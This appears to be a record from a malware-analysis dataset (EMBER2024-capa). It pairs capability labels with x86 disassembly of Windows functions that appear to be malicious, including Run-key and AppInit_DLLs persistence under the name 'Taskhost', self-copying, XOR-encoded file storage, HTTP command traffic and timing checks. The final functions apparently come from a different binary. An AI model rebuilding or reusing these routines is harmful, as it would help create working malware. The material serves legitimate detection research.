joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407d61
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
cmp dword [0x4110b0], 0xffffffff
jne 0x407d85
push 0
call fcn.00407cd7
cmp dword [0x4110b0], 0xffffffff
pop ecx
jne 0x407d85
xor eax, eax
leave
ret
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405451
push dword [ebp + 0x10]
mov esi, eax
call fcn.00405451
mov edx, dword [ebp + 0xc]
mov ebx, eax
lea eax, [ebp - 0x68]
push eax
call fcn.00405511
add esp, 0xc
push 0xa
pop ecx
cmp esi, ecx
jae 0x407dc3
sub ecx, esi
xor eax, eax
shr ecx, 1
lea edi, [ebp + esi*2 - 0x68]
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x54]
push eax
call fcn.00405511
pop ecx
push 0x32
lea eax, [ebx + 0xa]
pop ecx
cmp eax, ecx
jae 0x407deb
sub ecx, eax
lea edi, [ebp + eax*2 - 0x68]
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
xor esi, esi
xor eax, eax
xor byte [ebp + eax - 0x68], 0x78
inc eax
cmp eax, 0x64
jb 0x407def
mov eax, dword [ebp + 8]
imul eax, eax, 0x64
push esi
push esi
push eax
push dword [0x4110b0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x68]
push eax
push dword [0x4110b0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407e2b
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
cmp dword [0x4110b0], 0xffffffff
push esi
mov esi, eax
jne 0x407e4e
push 1
call fcn.00407cd7
cmp dword [0x4110b0], 0xffffffff
pop ecx
je 0x407eba
imul esi, esi, 0x64
push 0
push 0
push esi
push dword [0x4110b0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x6c]
push eax
push dword [0x4110b0]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407eba
cmp dword [ebp - 4], 0x64
jne 0x407eba
xor eax, eax
xor byte [ebp + eax - 0x6c], 0x78
inc eax
cmp eax, 0x64
jb 0x407e86
push dword [ebp + 8]
and word [ebp - 8], 0
lea eax, [ebp - 0x6c]
call fcn.00405493
pop ecx
lea ecx, [ebp - 0x6c]
cmp eax, ecx
jne 0x407eba
push dword [ebp + 0xc]
lea edx, [ebp - 0x58]
call fcn.00405511
xor eax, eax
pop ecx
inc eax
jmp 0x407ebc
xor eax, eax
pop esi
leave
ret
Function at 0x408248
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
mov eax, 0x40ec5c
call fcn.0040821c
test al, al
pop ecx
pop ecx
je 0x4083bf
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4083bf
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x4082b7
push esi
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4083b6
cmp word [ebp - 0x230], 0x2e
jne 0x4082e5
cmp word [ebp - 0x22e], si
je 0x40839e
cmp word [ebp - 0x22e], 0x2e
jne 0x4082e5
cmp word [ebp - 0x22c], si
je 0x40839e
mov eax, dword [ebp - 0x25c]
and eax, 0x10
je 0x4082f6
test byte [ebp + 0x14], 2
jne 0x408300
cmp eax, esi
jne 0x408344
test byte [ebp + 0x14], 4
je 0x408344
cmp dword [ebp + 0x10], 0
jbe 0x408344
push dword [edi + esi*4]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x408322
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x408306
jmp 0x408344
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test al, al
je 0x4083b6
cmp dword [ebp + 0x28], 0
je 0x408344
push dword [ebp + 0x28]
call ebx
test byte [ebp - 0x25c], 0x10
je 0x40839e
test byte [ebp + 0x14], 1
je 0x40839e
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x230]
call fcn.0040821c
test al, al
pop ecx
pop ecx
je 0x40839e
cmp dword [ebp + 0x24], 0
je 0x408379
push dword [ebp + 0x24]
call ebx
push dword [ebp + 0x28]
lea eax, [ebp - 0x464]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push eax
call fcn.00408248
add esp, 0x24
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40829b
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4083c4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x408458
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40844f
cmp dword [ebp - 8], edi
jne 0x40844f
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x40840e
mov dword [esi], edi
mov al, 1
jmp 0x40845a
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x40844f
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408441
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x40840a
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x40848f
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4084cc
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.0040845d
add esp, 0x10
mov ebx, eax
jmp 0x4084cf
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x408545
test bl, 1
jne 0x408545
cmp dword [ebp - 4], 1
je 0x4084e5
cmp dword [ebp - 4], 2
jne 0x408545
xor ecx, ecx
cmp ebx, ecx
jne 0x4084f0
mov word [edi], cx
jmp 0x408541
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x408507
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x408545
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x408541
cmp dword [ebp - 4], 2
jne 0x408541
push edi
call fcn.0040bfbf
mov esi, eax
test esi, esi
pop ecx
je 0x40852e
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x408531
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x408548
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x408604
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, 0x40ec68
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40864a
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.004069c0
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x408658
xor eax, eax
jmp 0x40868d
lea eax, [ebp - 0x804]
push eax
call fcn.00405451
cmp eax, 4
pop ecx
jbe 0x408682
push 1
push 0x40ea48
push str.AppInit_DLLs
push ebx
push edi
call fcn.004069fd
add esp, 0x14
jmp 0x40868d
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409c99
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d5a0
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x409cb9
push dword [ebp + 0xc]
call fcn.00405451
pop ecx
jmp 0x409cbb
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x409cdf
xor eax, eax
jmp 0x409df1
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x409d5b
xor eax, eax
jmp 0x409def
mov eax, dword [ebp - 8]
test eax, eax
je 0x409d79
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x409d3d
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x409d04
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040c5c0
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x409d0b
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x409d97
and dword [ebp - 4], eax
jmp 0x409de0
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x409dd6
test edi, edi
jbe 0x409dd6
and word [ecx], 0
test edi, edi
jbe 0x409dd6
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x409dd6
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x409db8
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret
Function at 0x409df4
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d5a0
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.00405511
lea eax, [ebp - 0x210]
push eax
call fcn.00405451
xor ebx, ebx
push 0x423ec8
mov word [ebp + eax*2 - 0x212], bx
call fcn.00405451
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040bed9
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409e8e
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409e7a
dec edx
je 0x409e72
dec edx
jne 0x409e80
add ecx, 0xfffe
jmp 0x409e80
add ecx, 0xfffb
jmp 0x409e80
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409e4b
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409eb1
xor eax, eax
jmp 0x409f26
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0b8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409ead
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040be29
cmp edi, ebx
pop ecx
je 0x409ead
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x409f24
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bf24
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409f2b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x40f760
call fcn.0040d248
and dword [ebp - 4], 0
call fcn.0040584d
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x409fa7
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x409f88
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409f67
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409f5f
or dword [ebp - 4], 0xffffffff
call fcn.0040d283
ret
Function at 0x409fb1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f750
call fcn.0040d248
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a030
cmp word [ebp - 0x1c], 0xffff
jne 0x40a030
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a04b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a011
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409ff2
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x427ed0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a04b
jmp 0x409fd3
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a051
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d283
ret

Function at 0x40a156
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x41105c], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a176
call fcn.0040a0b5
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a188
mov esi, ebx
call fcn.0040a057
test eax, eax
mov dword [ebp - 8], eax
je 0x40a23d
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a224
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a1e8
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415278]
mov eax, 0x1388
push dword [0x41fdb0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a469
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a48b
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x427ed8]
mov dword [ebp - 4], edi
jmp 0x40a490
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x427edc], edi
je 0x40a4f3
cmp edi, ebx
jne 0x40a4d7
cmp dword [0x427ecc], ebx
jne 0x40a4f7
mov eax, dword [esi + 0x427ed0]
test eax, eax
je 0x40a4f7
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a4ef
and dword [esi + 0x427ed0], 0
and dword [esi + 0x427edc], 0xfffffffe
cmp edi, 2
jne 0x40a4f3
xor eax, eax
cmp dword [esi + 0x427ed4], eax
jne 0x40a4ef
and dword [esi + 0x427edc], 0xfffffffd
jmp 0x40a530
mov eax, ebx
jmp 0x40a564
cmp edi, ebx
jne 0x40a529
lea edi, [esi + 0x427ed0]
mov eax, edi
call fcn.0040a156
cmp dword [0x427ecc], ebx
mov dword [ebp - 8], eax
jne 0x40a523
test eax, eax
je 0x40a523
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x427edc], ebx
jmp 0x40a561
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40a561
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x427ed4], eax
je 0x40a561
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x427edc], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ac20
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40ac60
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.004069c0
test eax, eax
pop ecx
pop ecx
jne 0x40ac8e
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40ac7c
xor eax, eax
jmp 0x40ac8e
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.004069c0
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5a0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.cmxjc48cjj.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3cf
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.Taskhost
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3b9
push ebx
push 3
jmp 0x40b3c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3ca
call fcn.0040ab7c
test eax, eax
je 0x40b442
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b442
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b442
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b49c
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b487
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b492
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b43b
push ebx
call fcn.00407727
cmp eax, ebx
pop ecx
push esi
je 0x40b4be
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x41103c]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b4d8
lea eax, [ebp - 0x1000]
push eax
push ebx
call edi
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.004054ed
lea eax, [ebp - 0x1000]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a786
add esp, 0xc
mov dword [0x411054], ebx
jmp 0x40b3ca

Function at 0x40cd56
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd60
repz ret
jmp fcn.0040cffb
Function at 0x402c90
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call fcn.00402a70
test eax, eax
jle 0x402cea
call fcn.00402be0
mov edi, eax
add dword [0x414e3c], edi
push esi
call fcn.00402b60
cmp eax, dword [0x414e3c]
je 0x402cdc
push 0
push esi
push ebx
call dword [0x407044]
mov eax, dword [0x414e38]
push eax
call dword [0x407070]
jmp 0x402cf4
push 0
push esi
push ebx
call dword [0x407044]
lea ecx, [ebp - 0x800]
mov edx, esi
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
inc edx
test al, al
jne 0x402cff
pop eax
lea edx, [ebp - 0x800]
or eax, 0xffffffff
inc eax
cmp byte [edx + eax], 0
jne 0x402d13
mov edi, eax
jmp 0x402d1f
dec edi
cmp byte [ebp + edi - 0x801], 0x5c
jne 0x402d1e
lea ecx, [ebp + edi - 0x800]
mov edx, 0x414edc
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
inc edx
test al, al
jne 0x402d38
pop eax
push 0x32
lea eax, [ebp - 0x400]
push eax
push 0x1002
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [ebp - 0x400]
mov dword [0x414e38], eax
lea edx, [ebp - 0x400]
or eax, 0xffffffff
inc eax
cmp byte [edx + eax], 0
jne 0x402d70
mov dword [0x414e3c], eax
lea eax, [ebp - 0x800]
push eax
call fcn.00402b60
push 0x4070fe
push esi
call fcn.00402440
test eax, eax
je 0x402dab
push str.JUth1naac2uvdSdSapee
push esi
call fcn.00401f40
test eax, eax
je 0x402dab
call fcn.004027a0
push esi
call fcn.004023a0
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4043a0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406540
push 0x404548
push dword fs:[0]
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x2000000
call fcn.00404f10
pop ecx
mov dword [0x4072a0], eax
call fcn.004047e0
test eax, eax
jne 0x4043e7
push 1
call fcn.00404530
pop ecx
mov dword [ebp - 4], 0
call fcn.004044c0
call fcn.004048d0
call fcn.00404920
call fcn.00404d00
call fcn.00404da0
mov ebx, 0x4067a8
jmp 0x404413
call dword [ebx]
add ebx, 4
cmp ebx, 0x4067a8
jb 0x40440e
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
call fcn.00404e60
test byte [ebp - 0x34], 1
je 0x404447
movzx edx, word [ebp - 0x30]
jmp 0x40444c
mov edx, 0xa
push edx
push eax
push 0
push ebx
call fcn.00403210
mov ebx, eax
mov esi, 0x4067a8
jmp 0x404464
call dword [esi]
add esi, 4
cmp esi, 0x4067a8
jb 0x40445f
push ebx
call fcn.00404340
pop ecx
jmp 0x40449d
or dword [ebp - 4], 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret